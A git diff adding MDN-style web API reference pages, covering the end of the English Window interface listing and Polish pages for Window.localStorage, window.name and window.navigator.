<dt>{{domxref("Window.status")}}</dt> + <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd> + <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt> + <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt> + <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd> + <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt> + <dd>Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.</dd> + <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the current window.</dd> + <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt> + <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd> +</dl> + +<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3> + +<dl> + <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt> + <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt> + <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt> + <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt> + <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p> + +<dl> + <dt>{{domxref("Window.alert()")}}</dt> + <dd>Displays an alert dialog.</dd> + + <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Moves back one in the window history.</dd> + <dt>{{domxref("Window.blur()")}}</dt> + <dd>Sets focus away from the window.</dd> + <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt> + <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd> + <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt> + <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd> + <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt> + <dd>Registers the window to capture all events of the specified type.</dd> + <dt>{{domxref("Window.clearImmediate()")}}</dt> + <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd> + <dt>{{domxref("Window.close()")}}</dt> + <dd>Closes the current window.</dd> + <dt>{{domxref("Window.confirm()")}}</dt> + <dd>Displays a dialog with a message that the user needs to respond to.</dd> + <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.dispatchEvent()")}}</dt> + <dd>Used to trigger an event.</dd> + <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt> + <dd>Writes a message to the console.</dd> + <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.find()")}}</dt> + <dd>Searches for a given string in a window.</dd> + <dt>{{domxref("Window.focus()")}}</dt> + <dd>Sets focus on the current window.</dd> + <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Moves the window one document forward in the history.</dd> + <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Flashes the application icon.</dd> + <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.getComputedStyle()")}}</dt> + <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd> + <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt> + <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd> + <dt>{{domxref("Window.getSelection()")}}</dt> + <dd>Returns the selection object representing the selected item(s).</dd> + <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Returns the browser to the home page.</dd> + <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd> + <dt>{{domxref("Window.maximize()")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt> + <dd>Minimizes the window.</dd> + <dt>{{domxref("Window.moveBy()")}}</dt> + <dd>Moves the current window by a specified amount.</dd> + <dt>{{domxref("Window.moveTo()")}}</dt> + <dd>Moves the window to the specified coordinates.</dd> + <dt>{{domxref("Window.open()")}}</dt> + <dd>Opens a new window.</dd> + <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Opens a new dialog window.</dd> + <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt> + <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd> + <dt>{{domxref("Window.print()")}}</dt> + <dd>Opens the Print Dialog to print the current document.</dd> + <dt>{{domxref("Window.prompt()")}}</dt> + <dd>Returns the text entered by the user in a prompt dialog.</dd> + <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt> + <dd>Releases the window from trapping events of a specific type.</dd> + <dt>{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd> + <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt> + <dd>Enables the scheduling of tasks during a browser's idle periods.</dd> + <dt>{{domxref("Window.resizeBy()")}}</dt> + <dd>Resizes the current window by a certain amount.</dd> + <dt>{{domxref("Window.resizeTo()")}}</dt> + <dd>Dynamically resizes window.</dd> + <dt>{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.scroll()")}}</dt> + <dd>Scrolls the window to a particular place in the document.</dd> + <dt>{{domxref("Window.scrollBy()")}}</dt> + <dd>Scrolls the document in the window by the given amount.</dd> + <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt> + <dd>Scrolls the document by the given number of lines.</dd> + <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt> + <dd>Scrolls the current document by the specified number of pages.</dd> + <dt>{{domxref("Window.scrollTo()")}}</dt> + <dd>Scrolls to a particular set of coordinates in the document.</dd> + <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt> + <dd>Changes the cursor for the current window</dd> + <dt>{{domxref("Window.setImmediate()")}}</dt> + <dd>Executes a function after the browser has finished other heavy tasks</dd> + <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt> + <dd>Toggles a user's ability to resize a window.</dd> + <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt> + <dd>Sizes the window according to its content.</dd> + <dt>{{domxref("Window.stop()")}}</dt> + <dd>This method stops window loading.</dd> + <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt> + <dd>Updates the state of commands of the current chrome window (UI).</dd> +</dl> + +<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3> + +<dl> + <dt>{{domxref("EventTarget.addEventListener()")}}</dt> + <dd>Register an event handler to a specific event type on the window.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> + <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> + <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt> + <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt> + <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt> + <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt> + <dd>Starts the process of fetching a resource from the network.</dd> + <dt>{{domxref("EventTarget.removeEventListener")}}</dt> + <dd>Removes an event listener from the window.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt> + <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt> + <dd>Schedules a function to execute in a given amount of time.</dd> +</dl> + +<h3 id="Obsolete_methods">Obsolete methods</h3> + +<dl> + <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt> + <dd>Displays a modal dialog. <strong>This method was removed completely in Chrome 43, and Firefox 55.</strong></dd> +</dl> + +<h2 id="Event_handlers">Event handlers</h2> + +<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p> + +<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p> + +<div class="note"> +<p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p> +</div> + +<dl> + <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt> + <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd> + <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt> + <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt> + <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd> + <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt> + <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd> + <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt> + <dd>An event handler property for before-unload events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt> + <dd>Called after the window loses focus, such as due to a popup.</dd> + <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt> + <dd>An event handler property for change events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt> + <dd>Called after the ANY mouse button is pressed & released</dd> + <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt> + <dd>Called when a double click is made with ANY mouse button.</dd> + <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt> + <dd>Called after the window is closed</dd> + <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt> + <dd>Called when the RIGHT mouse button is pressed</dd> + <dt>{{domxref("Window.ondevicelight")}}</dt> + <dd>An event handler property for any ambient light levels changes</dd> + <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Called if accelerometer detects a change (For mobile devices)</dd> + <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Called when the orientation is changed (For mobile devices)</dd> + <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt> + <dd>An event handler property for any device orientation changes.</dd> + <dt>{{domxref("Window.ondeviceproximity")}}</dt> + <dd>An event handler property for device proximity event</dd> + <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt> + <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt> + <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd> + <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt> + <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd> + <dt>{{domxref("Window.onappinstalled")}}</dt> + <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd> + <dt>{{domxref("Window.ongamepadconnected")}}</dt> + <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd> + <dt>{{domxref("Window.ongamepaddisconnected")}}</dt> + <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd> + <dt>{{domxref("Window.oninput")}}</dt> + <dd>Called when the value of an <input> element changes</dd> + <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt> + <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt> + <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt> + <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt> + <dd>An event handler property for {{event("languagechange")}} events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> + <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd> + <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> + <dd>Called when ANY mouse button is pressed.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> + <dd>Called continously when the mouse is moved inside the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt> + <dd>Called when the pointer leaves the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt> + <dd>Called when the pointer enters the window</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt> + <dd>Called when ANY mouse button is released</dd> + <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd> + <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt> + <dd>Called when network connection is lost. See {{event("offline")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.ononline")}}</dt> + <dd>Called when network connection is established. See {{event("online")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt> + <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt> + <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd> + <dt>{{domxref("Window.onpaint")}}</dt> + <dd>An event handler property for paint events on the window.</dd> + <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Called when a back button is pressed.</dd> + <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt> + <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd> + <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt> + <dd>Called when a form is reset</dd> + <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt> + <dd>Called continuously as you are resizing the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> + <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd> + <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt> + <dd>Called when the mouse wheel is rotated around any axis</dd> + <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> + <dd>Called after text in an input field is selected</dd> + <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd> + <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt> + <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd> + <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> + <dd>Called when a form is submitted</dd> + <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt> + <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd> + <dt>{{domxref("WindowEventHandlers.onunload")}}</dt> + <dd>Called when the user navigates away from the page.</dd> + <dt>{{domxref("Window.onuserproximity")}}</dt> + <dd>An event handler property for user proximity events.</dd> + <dt>{{domxref("Window.onvrdisplayconnect")}}</dt> + <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd> + <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt> + <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd> + <dt>{{domxref("Window.onvrdisplayactivate")}}</dt> + <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd> + <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt> + <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd> + <dt>{{domxref("Window.onvrdisplayblur")}}</dt> + <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd> + <dt>{{domxref("Window.onvrdisplayfocus")}}</dt> + <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd> + <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt> + <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd> +</dl> + +<h2 id="Constructors">Constructors</h2> + +<p>See also the <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p> + +<dl> + <dt>{{domxref("DOMParser")}}</dt> + <dd><code>DOMParser</code> can parse XML or HTML source stored in a string into a DOM <a href="https://developer.mozilla.org/en-US/docs/DOM/document" title="document">Document</a>. <code>DOMParser</code> is specified in <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</dd> + <dt>{{domxref("Window.GeckoActiveXObject")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Image")}}</dt> + <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd> + <dt>{{domxref("Option")}}</dt> + <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd> + <dt>{{domxref("Window.QueryInterface")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.XMLSerializer")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Worker")}}</dt> + <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd> + <dt>{{domxref("Window.XPCNativeWrapper")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> +</dl> + +<h2 id="Interfaces">Interfaces</h2> + +<p>See <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li> +</ul> diff --git a/files/pl/web/api/window/localstorage/index.html b/files/pl/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..e93c5c15e7 --- /dev/null +++ b/files/pl/web/api/window/localstorage/index.html @@ -0,0 +1,125 @@ +--- +title: Window.localStorage +slug: Web/API/Window/localStorage +tags: + - API + - Pamięć + - Referencja + - Storage + - Web Storage + - WindowLocalStorage + - Własność + - localStorage +translation_of: Web/API/Window/localStorage +--- +<p>{{APIRef()}}</p> + +<p>Własność localStorage pozwala na dostęp do lokalnego obiektu {{domxref("Storage")}}. localStorage jest podobne w swoich założeniach do <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a>.</code> Różnica pomiędzy nimi polega na tym, że dane przechowywane w <code>localStorage</code> nie mają daty ważności, a dane przechowywane w <code>sessionStorage</code> usuwane są po zakończeniu danej sesji - czyli przy zamknięciu przeglądarki.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">myStorage = localStorage;</pre> + +<h3 id="Wartość">Wartość</h3> + +<p>Obiekt {{domxref("Storage")}}.</p> + +<h2 id="Przykład">Przykład</h2> + +<p>Poniższy kod uzyskuje dostęp do lokalnego obiektu {{domxref("Storage")}}, należącego do obecnej domeny i dodaje do niego własność używająć metody {{domxref("Storage.setItem()")}}.</p> + +<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre> + +<div class="note"> +<p><strong>Notka</strong>: Pełny przykład znajdziesz w artykule <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> .</p> +</div> + +<h2 id="Specyfikajca">Specyfikajca</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Web Storage', '#dom-localstorage', 'localStorage')}}</td> + <td>{{Spec2('Web Storage')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Własność</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>localStorage</td> + <td>4</td> + <td>3.5</td> + <td>8</td> + <td>10.50</td> + <td>4</td> + </tr> + <tr> + <td>sessionStorage</td> + <td>5</td> + <td>2</td> + <td>8</td> + <td>10.50</td> + <td>4</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Własność</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowe wspracie</td> + <td>2.1</td> + <td>{{ CompatUnknown }}</td> + <td>8</td> + <td>11</td> + <td>iOS 3.2</td> + </tr> + </tbody> +</table> +</div> + +<p>Sposób wsparcia dla <code>localStorage</code> i {{domxref("sessionStorage")}} różni się w zależności od przeglądarki. Tutaj znajdziesz <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">szczegółowe dane na temat wsparcia poszczególnych przeglądarek dla obiektów Storage</a>.</p> + +<div class="note"> +<p><strong>Notka:</strong> Zaczynając od wersji iOS 5.1, Safari przetrzymuje dane <code>localStorage</code> w folderze <code>cache.</code> Folder ten poddawany jest okresowemu czyszczeniu, zazwyczaj, gdy w pamięci urządzenia kończy się miejsce. Tryb prywatny w mobilnej przeglądarce Safari blokuje również całkowicie możliwość zapisu do pamięci <code>localStorage</code>.</p> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li> + <li>{{domxref("LocalStorage")}}</li> + <li>{{domxref("SessionStorage")}}</li> + <li>{{domxref("Window.sessionStorage")}}</li> +</ul> diff --git a/files/pl/web/api/window/name/index.html b/files/pl/web/api/window/name/index.html new file mode 100644 index 0000000000..0b91ec81ec --- /dev/null +++ b/files/pl/web/api/window/name/index.html @@ -0,0 +1,27 @@ +--- +title: window.name +slug: Web/API/Window/name +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/name +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pobiera/ustawia nazwę okna.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>string</i> = window.name + window.name =<i>string</i> +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">window.name = "lab_view"; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Nazwa okna jest używana pierwotnie dla ustawienia celu dla linków oraz formularzy. Okno nie musi posiadać nazwy.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.name", "ja": "ja/DOM/window.name" } ) }}</p> diff --git a/files/pl/web/api/window/navigator/index.html b/files/pl/web/api/window/navigator/index.html new file mode 100644 index 0000000000..c43e84184b --- /dev/null +++ b/files/pl/web/api/window/navigator/index.html @@ -0,0 +1,84 @@ +--- +title: window.navigator +slug: Web/API/Window/navigator +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Window/navigator +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca odwołanie do obiektu navigator, który może być zapytany o informację na temat aplikacji uruchamiającej skrypt.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">alert("Używasz " + navigator.appName); +</pre> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/window.navigator.appCodeName">navigator.appCodeName</a></dt> + <dd>Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.</dd> + <dt><a href="pl/DOM/window.navigator.appName">navigator.appName</a></dt> + <dd>Zwraca oficjalną nazwę przeglądarki.</dd> + <dt><a href="pl/DOM/window.navigator.appVersion">navigator.appVersion</a></dt> + <dd>Zwraca wersję przeglądarki jako łańcuch znaków.</dd> + <dt><a href="pl/DOM/window.navigator.buildID">navigator.buildID</a></dt> + <dd>Zwraca identyfikator kompilacji przeglądarki (np. "2006090803").</dd> + <dt><a href="pl/DOM/window.navigator.cookieEnabled">navigator.cookieEnabled</a></dt> + <dd>Zwraca wartość logiczną wskazującą czy obsługa ciasteczek jest włączona, czy nie.</dd> + <dt><a href="pl/DOM/window.navigator.language">navigator.language</a></dt> + <dd>Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.</dd> + <dt><a href="pl/DOM/window.navigator.mimeTypes">navigator.mimeTypes</a></dt> + <dd>Zwraca listę typów MIME obsługiwanych przez przeglądarkę.</dd> + <dt><a href="pl/DOM/window.navigator.onLine">navigator.onLine</a></dt> + <dd>Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online.</dd> + <dt><a href="pl/DOM/window.navigator.oscpu">navigator.oscpu</a></dt> + <dd>Zwraca łańcuch znaków reprezentujący bieżący system operacyjny.</dd> + <dt><a href="pl/DOM/window.navigator.platform">navigator.platform</a></dt> + <dd>Zwraca łańcuch znaków reprezentujący platformę przeglądarki.</dd> + <dt><a href="pl/DOM/window.navigator.plugins">navigator.plugins</a></dt> + <dd>Zwraca tablicę z zainstalowanymi wtyczkami przeglądarki.</dd> + <dt><a href="pl/DOM/window.navigator.product">navigator.product</a></dt> + <dd>Zwraca nazwę produktu bieżącej przeglądarki (np. "Gecko")</dd> + <dt><a href="pl/DOM/window.navigator.productSub">navigator.productSub</a></dt> + <dd>Zwraca numer kompilacji bieżącej przeglądarki (np. "20060909").</dd> + <dt><a href="pl/DOM/window.navigator.securityPolicy">navigator.securityPolicy</a></dt> + <dd>Returns an empty string. In Netscape 4.7x, returns "US & CA domestic policy" or "Export policy".</dd> + <dt><a href="pl/DOM/window.navigator.userAgent">navigator.userAgent</a></dt> + <dd>Returns the user agent string for the current browser.</dd> + <dt><a href="pl/DOM/window.navigator.vendor">navigator.vendor</a></dt> + <dd>Returns the vendor name of the current browser (e.g. "Netscape6")</dd> + <dt><a href="pl/DOM/window.navigator.vendorSub">navigator.vendorSub</a></dt> + <dd>Returns the vendor version number (e.g. "6.1")</dd> +</dl> + 